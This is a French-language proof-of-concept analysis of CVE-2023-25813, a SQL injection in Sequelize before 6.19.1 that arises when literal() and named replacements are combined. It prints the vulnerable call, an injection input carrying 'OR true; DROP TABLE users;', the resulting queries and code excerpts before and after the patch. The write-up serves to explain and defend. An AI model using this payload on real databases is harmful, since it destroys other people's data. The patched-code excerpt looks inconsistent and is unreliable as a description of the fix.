
Preuve de concept et analyse technique de CVE-2023-25813, une vulnérabilité d'injection SQL dans les versions de l'ORM Sequelize antérieures à 6.19.1, y compris les détails d'exploitation et les informations de correctif.
replacements ne sont pas correctement échappées, ce qui peut entraîner une injection SQL selon la construction de la requête.Sequelize est l'une des bibliothèques ORM (Object-Relational Mapping) disponibles pour Node.js. L'ORM est une technologie qui automatise la transformation mutuelle entre les objets et les bases de données relationnelles, permettant de consulter, créer, modifier et supprimer des enregistrements dans une base de données via des objets sans avoir à écrire directement des requêtes SQL.
// SELECT * FROM users WHERE id = 1;
const user = await User.findByPk(1);
replacementsreplacements est un mécanisme de liaison dans Sequelize utilisé pour injecter en toute sécurité des entrées utilisateur dans du SQL, que ce soit avec des requêtes SQL brutes ou des méthodes ORM. C'est le principal moyen de prévenir les injections SQL.
// Liaison positionnelle
await sequelize.query('SELECT * FROM projects WHERE status = ?', {
replacements: ['active'],
});
// Liaison par clé
await sequelize.query(
'SELECT * FROM users WHERE name = :name AND age = :age',
{
replacements: {
name: 'Alice',
age: 25
}
}
);
Sequelize fournit l'option replacements pour lier en toute sécurité les entrées utilisateur au SQL. Cependant, dans les versions de Sequelize antérieures à 6.19.1, lorsqu'on utilise des méthodes ORM, même en liant via replacements, une injection SQL peut se produire en raison d'un problème dans l'ordre interne de génération et de substitution des requêtes SQL.
Voici un exemple de code Sequelize qui déclenche la vulnérabilité. L'injection SQL peut se produire lorsque literal et replacements sont utilisés ensemble.
User.findAll({
where: or(
literal('soundex("firstName") = soundex(:firstName)'),
{ lastName: lastName },
),
replacements: { firstName },
})
L'attaquant injecte les entrées suivantes dans replacements, ce qui brise la structure de la requête :
{
"firstName": "OR true; DROP TABLE users;",
"lastName": ":firstName"
}
La clé de liaison (:firstName) est également réinsérée dans la valeur, créant ainsi une structure où la clé de liaison est utilisée une deuxième fois.
SELECT * FROM users
WHERE soundex("firstName") = soundex(:firstName)
OR "lastName" = ':firstName'
La requête finale complétée est la suivante. Cependant, cette requête adopte une forme structurellement difficile à déterminer clairement comme exécutable ou non, et les résultats peuvent varier selon l'interprétation de l'analyseur SQL et la configuration de la base de données. Dans certains environnements, elle peut être traitée comme une simple erreur de syntaxe, mais selon la configuration, elle présente un risque que des commandes SQL non désirées soient exécutées.
SELECT * FROM users
WHERE soundex("firstName") = soundex('OR true; DROP TABLE users;')
OR "lastName" = ''OR true; DROP TABLE users;''
Si l'environnement permet les requêtes multiples (multi-query), une seule liaison peut suffire à supprimer une table.

Sequelize considère la chaîne passée à la fonction literal comme un fragment SQL fiable et ne l'échappe pas. Par conséquent, cette chaîne est insérée telle quelle dans la requête SQL, et même si elle contient :param, celui-ci reste sans traitement.
Comme indiqué ci-dessous, replacements remplace les jetons :param restants après que le SQL a été entièrement assemblé en une chaîne, juste avant l'exécution. Ainsi, les entrées utilisateur sont insérées telles quelles dans une requête SQL dont la structure est déjà figée, ce qui brise la structure globale de la requête et entraîne la vulnérabilité.
// sequelize-6.19.0/src/sequelize.js
if (options.replacements) {
if (Array.isArray(options.replacements)) {
sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
} else {
sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
}
}
La fonction injectReplacements a été définie pour n'autoriser la liaison que dans des endroits syntaxiquement sûrs.
// sequelize-6.19.1/src/sequelize.js
if (options.replacements) {
if (Array.isArray(options.replacements)) {
sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
} else {
sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
}
sql = injectReplacements(sql, this.dialect, options.replacements);
}